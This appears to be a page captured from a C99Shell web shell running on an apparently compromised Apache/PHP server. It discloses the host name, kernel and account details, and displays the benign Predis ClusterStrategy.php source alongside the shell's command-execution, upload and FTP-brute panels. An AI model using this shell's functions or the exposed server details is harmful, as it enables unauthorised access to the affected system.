!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/predis/predis/src/Cluster/   drwxr-xr-x
Free 28.76 GB of 117.98 GB (24.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ClusterStrategy.php (15.41 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Predis package.
 *
 * (c) 2009-2020 Daniele Alessandri
 * (c) 2021-2025 Till Krüss
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Predis\Cluster;

use 
InvalidArgumentException;
use 
Predis\Command\CommandInterface;
use 
Predis\Command\ScriptCommand;

/**
 * Common class implementing the logic needed to support clustering strategies.
 */
abstract class ClusterStrategy implements StrategyInterface
{
    protected 
$commands;

    public function 
__construct()
    {
        
$this->commands $this->getDefaultCommands();
    }

    
/**
     * Returns the default map of supported commands with their handlers.
     *
     * @return array
     */
    
protected function getDefaultCommands()
    {
        
$getKeyFromFirstArgument = [$this'getKeyFromFirstArgument'];
        
$getKeyFromAllArguments = [$this'getKeyFromAllArguments'];

        return [
            
/* commands operating on the key space */
            
'EXISTS' => $getKeyFromAllArguments,
            
'DEL' => $getKeyFromAllArguments,
            
'TYPE' => $getKeyFromFirstArgument,
            
'EXPIRE' => $getKeyFromFirstArgument,
            
'EXPIREAT' => $getKeyFromFirstArgument,
            
'PERSIST' => $getKeyFromFirstArgument,
            
'PEXPIRE' => $getKeyFromFirstArgument,
            
'PEXPIREAT' => $getKeyFromFirstArgument,
            
'TTL' => $getKeyFromFirstArgument,
            
'PTTL' => $getKeyFromFirstArgument,
            
'SORT' => [$this'getKeyFromSortCommand'],
            
'DUMP' => $getKeyFromFirstArgument,
            
'RESTORE' => $getKeyFromFirstArgument,
            
'FLUSHDB' => [$this'getFakeKey'],

            
/* commands operating on string values */
            
'APPEND' => $getKeyFromFirstArgument,
            
'DECR' => $getKeyFromFirstArgument,
            
'DECRBY' => $getKeyFromFirstArgument,
            
'GET' => $getKeyFromFirstArgument,
            
'GETBIT' => $getKeyFromFirstArgument,
            
'MGET' => $getKeyFromAllArguments,
            
'SET' => $getKeyFromFirstArgument,
            
'GETRANGE' => $getKeyFromFirstArgument,
            
'GETSET' => $getKeyFromFirstArgument,
            
'INCR' => $getKeyFromFirstArgument,
            
'INCRBY' => $getKeyFromFirstArgument,
            
'INCRBYFLOAT' => $getKeyFromFirstArgument,
            
'SETBIT' => $getKeyFromFirstArgument,
            
'SETEX' => $getKeyFromFirstArgument,
            
'MSET' => [$this'getKeyFromInterleavedArguments'],
            
'MSETNX' => [$this'getKeyFromInterleavedArguments'],
            
'SETNX' => $getKeyFromFirstArgument,
            
'SETRANGE' => $getKeyFromFirstArgument,
            
'STRLEN' => $getKeyFromFirstArgument,
            
'SUBSTR' => $getKeyFromFirstArgument,
            
'BITOP' => [$this'getKeyFromBitOp'],
            
'BITCOUNT' => $getKeyFromFirstArgument,
            
'BITFIELD' => $getKeyFromFirstArgument,

            
/* commands operating on lists */
            
'LINSERT' => $getKeyFromFirstArgument,
            
'LINDEX' => $getKeyFromFirstArgument,
            
'LLEN' => $getKeyFromFirstArgument,
            
'LPOP' => $getKeyFromFirstArgument,
            
'RPOP' => $getKeyFromFirstArgument,
            
'RPOPLPUSH' => $getKeyFromAllArguments,
            
'BLPOP' => [$this'getKeyFromBlockingListCommands'],
            
'BRPOP' => [$this'getKeyFromBlockingListCommands'],
            
'BRPOPLPUSH' => [$this'getKeyFromBlockingListCommands'],
            
'LPUSH' => $getKeyFromFirstArgument,
            
'LPUSHX' => $getKeyFromFirstArgument,
            
'RPUSH' => $getKeyFromFirstArgument,
            
'RPUSHX' => $getKeyFromFirstArgument,
            
'LRANGE' => $getKeyFromFirstArgument,
            
'LREM' => $getKeyFromFirstArgument,
            
'LSET' => $getKeyFromFirstArgument,
            
'LTRIM' => $getKeyFromFirstArgument,

            
/* commands operating on sets */
            
'SADD' => $getKeyFromFirstArgument,
            
'SCARD' => $getKeyFromFirstArgument,
            
'SDIFF' => $getKeyFromAllArguments,
            
'SDIFFSTORE' => $getKeyFromAllArguments,
            
'SINTER' => $getKeyFromAllArguments,
            
'SINTERSTORE' => $getKeyFromAllArguments,
            
'SUNION' => $getKeyFromAllArguments,
            
'SUNIONSTORE' => $getKeyFromAllArguments,
            
'SISMEMBER' => $getKeyFromFirstArgument,
            
'SMEMBERS' => $getKeyFromFirstArgument,
            
'SSCAN' => $getKeyFromFirstArgument,
            
'SPOP' => $getKeyFromFirstArgument,
            
'SRANDMEMBER' => $getKeyFromFirstArgument,
            
'SREM' => $getKeyFromFirstArgument,

            
/* commands operating on sorted sets */
            
'ZADD' => $getKeyFromFirstArgument,
            
'ZCARD' => $getKeyFromFirstArgument,
            
'ZCOUNT' => $getKeyFromFirstArgument,
            
'ZINCRBY' => $getKeyFromFirstArgument,
            
'ZINTERSTORE' => [$this'getKeyFromZsetAggregationCommands'],
            
'ZRANGE' => $getKeyFromFirstArgument,
            
'ZRANGEBYSCORE' => $getKeyFromFirstArgument,
            
'ZRANK' => $getKeyFromFirstArgument,
            
'ZREM' => $getKeyFromFirstArgument,
            
'ZREMRANGEBYRANK' => $getKeyFromFirstArgument,
            
'ZREMRANGEBYSCORE' => $getKeyFromFirstArgument,
            
'ZREVRANGE' => $getKeyFromFirstArgument,
            
'ZREVRANGEBYSCORE' => $getKeyFromFirstArgument,
            
'ZREVRANK' => $getKeyFromFirstArgument,
            
'ZSCORE' => $getKeyFromFirstArgument,
            
'ZUNIONSTORE' => [$this'getKeyFromZsetAggregationCommands'],
            
'ZSCAN' => $getKeyFromFirstArgument,
            
'ZLEXCOUNT' => $getKeyFromFirstArgument,
            
'ZRANGEBYLEX' => $getKeyFromFirstArgument,
            
'ZREMRANGEBYLEX' => $getKeyFromFirstArgument,
            
'ZREVRANGEBYLEX' => $getKeyFromFirstArgument,

            
/* commands operating on hashes */
            
'HDEL' => $getKeyFromFirstArgument,
            
'HEXISTS' => $getKeyFromFirstArgument,
            
'HGET' => $getKeyFromFirstArgument,
            
'HGETALL' => $getKeyFromFirstArgument,
            
'HMGET' => $getKeyFromFirstArgument,
            
'HMSET' => $getKeyFromFirstArgument,
            
'HINCRBY' => $getKeyFromFirstArgument,
            
'HINCRBYFLOAT' => $getKeyFromFirstArgument,
            
'HKEYS' => $getKeyFromFirstArgument,
            
'HLEN' => $getKeyFromFirstArgument,
            
'HSET' => $getKeyFromFirstArgument,
            
'HSETNX' => $getKeyFromFirstArgument,
            
'HVALS' => $getKeyFromFirstArgument,
            
'HSCAN' => $getKeyFromFirstArgument,
            
'HSTRLEN' => $getKeyFromFirstArgument,

            
/* commands operating on HyperLogLog */
            
'PFADD' => $getKeyFromFirstArgument,
            
'PFCOUNT' => $getKeyFromAllArguments,
            
'PFMERGE' => $getKeyFromAllArguments,

            
/* scripting */
            
'EVAL' => [$this'getKeyFromScriptingCommands'],
            
'EVALSHA' => [$this'getKeyFromScriptingCommands'],
            
'EVAL_RO' => [$this'getKeyFromScriptingCommands'],
            
'EVALSHA_RO' => [$this'getKeyFromScriptingCommands'],

            
/* server */
            
'INFO' => [$this'getFakeKey'],

            
/* commands performing geospatial operations */
            
'GEOADD' => $getKeyFromFirstArgument,
            
'GEOHASH' => $getKeyFromFirstArgument,
            
'GEOPOS' => $getKeyFromFirstArgument,
            
'GEODIST' => $getKeyFromFirstArgument,
            
'GEORADIUS' => [$this'getKeyFromGeoradiusCommands'],
            
'GEORADIUSBYMEMBER' => [$this'getKeyFromGeoradiusCommands'],

            
/* cluster */
            
'CLUSTER' => [$this'getFakeKey'],
        ];
    }

    
/**
     * Returns the list of IDs for the supported commands.
     *
     * @return array
     */
    
public function getSupportedCommands()
    {
        return 
array_keys($this->commands);
    }

    
/**
     * Sets an handler for the specified command ID.
     *
     * The signature of the callback must have a single parameter of type
     * Predis\Command\CommandInterface.
     *
     * When the callback argument is omitted or NULL, the previously associated
     * handler for the specified command ID is removed.
     *
     * @param string $commandID Command ID.
     * @param mixed  $callback  A valid callable object, or NULL to unset the handler.
     *
     * @throws InvalidArgumentException
     */
    
public function setCommandHandler($commandID$callback null)
    {
        
$commandID strtoupper($commandID);

        if (!isset(
$callback)) {
            unset(
$this->commands[$commandID]);

            return;
        }

        if (!
is_callable($callback)) {
            throw new 
InvalidArgumentException(
                
'The argument must be a callable object or NULL.'
            
);
        }

        
$this->commands[$commandID] = $callback;
    }

    
/**
     * Get fake key for commands with no key argument.
     *
     * @return string
     */
    
protected function getFakeKey(): string
    
{
        return 
'key';
    }

    
/**
     * Extracts the key from the first argument of a command instance.
     *
     * @param CommandInterface $command Command instance.
     *
     * @return string
     */
    
protected function getKeyFromFirstArgument(CommandInterface $command)
    {
        return 
$command->getArgument(0);
    }

    
/**
     * Extracts the key from a command with multiple keys only when all keys in
     * the arguments array produce the same hash.
     *
     * @param CommandInterface $command Command instance.
     *
     * @return string|null
     */
    
protected function getKeyFromAllArguments(CommandInterface $command)
    {
        
$arguments $command->getArguments();

        if (!
$this->checkSameSlotForKeys($arguments)) {
            return 
null;
        }

        return 
$arguments[0];
    }

    
/**
     * Extracts the key from a command with multiple keys only when all keys in
     * the arguments array produce the same hash.
     *
     * @param CommandInterface $command Command instance.
     *
     * @return string|null
     */
    
protected function getKeyFromInterleavedArguments(CommandInterface $command)
    {
        
$arguments $command->getArguments();
        
$keys = [];

        for (
$i 0$i count($arguments); $i += 2) {
            
$keys[] = $arguments[$i];
        }

        if (!
$this->checkSameSlotForKeys($keys)) {
            return 
null;
        }

        return 
$arguments[0];
    }

    
/**
     * Extracts the key from SORT command.
     *
     * @param CommandInterface $command Command instance.
     *
     * @return string|null
     */
    
protected function getKeyFromSortCommand(CommandInterface $command)
    {
        
$arguments $command->getArguments();
        
$firstKey $arguments[0];

        if (
=== $argc count($arguments)) {
            return 
$firstKey;
        }

        
$keys = [$firstKey];

        for (
$i 1$i $argc; ++$i) {
            if (
strtoupper($arguments[$i]) === 'STORE') {
                
$keys[] = $arguments[++$i];
            }
        }

        if (!
$this->checkSameSlotForKeys($keys)) {
            return 
null;
        }

        return 
$firstKey;
    }

    
/**
     * Extracts the key from BLPOP and BRPOP commands.
     *
     * @param CommandInterface $command Command instance.
     *
     * @return string|null
     */
    
protected function getKeyFromBlockingListCommands(CommandInterface $command)
    {
        
$arguments $command->getArguments();

        if (!
$this->checkSameSlotForKeys(array_slice($arguments0count($arguments) - 1))) {
            return 
null;
        }

        return 
$arguments[0];
    }

    
/**
     * Extracts the key from BITOP command.
     *
     * @param CommandInterface $command Command instance.
     *
     * @return string|null
     */
    
protected function getKeyFromBitOp(CommandInterface $command)
    {
        
$arguments $command->getArguments();

        if (!
$this->checkSameSlotForKeys(array_slice($arguments1count($arguments)))) {
            return 
null;
        }

        return 
$arguments[1];
    }

    
/**
     * Extracts the key from GEORADIUS and GEORADIUSBYMEMBER commands.
     *
     * @param CommandInterface $command Command instance.
     *
     * @return string|null
     */
    
protected function getKeyFromGeoradiusCommands(CommandInterface $command)
    {
        
$arguments $command->getArguments();
        
$argc count($arguments);
        
$startIndex $command->getId() === 'GEORADIUS' 4;

        if (
$argc $startIndex) {
            
$keys = [$arguments[0]];

            for (
$i $startIndex$i $argc; ++$i) {
                
$argument strtoupper($arguments[$i]);
                if (
$argument === 'STORE' || $argument === 'STOREDIST') {
                    
$keys[] = $arguments[++$i];
                }
            }

            if (!
$this->checkSameSlotForKeys($keys)) {
                return 
null;
            }
        }

        return 
$arguments[0];
    }

    
/**
     * Extracts the key from ZINTERSTORE and ZUNIONSTORE commands.
     *
     * @param CommandInterface $command Command instance.
     *
     * @return string|null
     */
    
protected function getKeyFromZsetAggregationCommands(CommandInterface $command)
    {
        
$arguments $command->getArguments();
        
$keys array_merge([$arguments[0]], array_slice($arguments2$arguments[1]));

        if (!
$this->checkSameSlotForKeys($keys)) {
            return 
null;
        }

        return 
$arguments[0];
    }

    
/**
     * Extracts the key from EVAL and EVALSHA commands.
     *
     * @param CommandInterface $command Command instance.
     *
     * @return string|null
     */
    
protected function getKeyFromScriptingCommands(CommandInterface $command)
    {
        
$keys $command instanceof ScriptCommand
            
$command->getKeys()
            : 
array_slice($args $command->getArguments(), 2$args[1]);

        if (!
$keys || !$this->checkSameSlotForKeys($keys)) {
            return 
null;
        }

        return 
$keys[0];
    }

    
/**
     * {@inheritdoc}
     */
    
public function getSlot(CommandInterface $command)
    {
        
$slot $command->getSlot();

        if (!isset(
$slot) && isset($this->commands[$cmdID $command->getId()])) {
            
$key call_user_func($this->commands[$cmdID], $command);

            if (isset(
$key)) {
                
$slot $this->getSlotByKey($key);
                
$command->setSlot($slot);
            }
        }

        return 
$slot;
    }

    
/**
     * Checks if the specified array of keys will generate the same hash.
     *
     * @param array $keys Array of keys.
     *
     * @return bool
     */
    
protected function checkSameSlotForKeys(array $keys)
    {
        if (!
$count count($keys)) {
            return 
false;
        }

        
$currentSlot $this->getSlotByKey($keys[0]);

        for (
$i 1$i $count; ++$i) {
            
$nextSlot $this->getSlotByKey($keys[$i]);

            if (
$currentSlot !== $nextSlot) {
                return 
false;
            }

            
$currentSlot $nextSlot;
        }

        return 
true;
    }

    
/**
     * Returns only the hashable part of a key (delimited by "{...}"), or the
     * whole key if a key tag is not found in the string.
     *
     * @param string $key A key.
     *
     * @return string
     */
    
protected function extractKeyTag($key)
    {
        if (
false !== $start strpos($key'{')) {
            if (
false !== ($end strpos($key'}'$start)) && $end !== ++$start) {
                
$key substr($key$start$end $start);
            }
        }

        return 
$key;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0058 ]--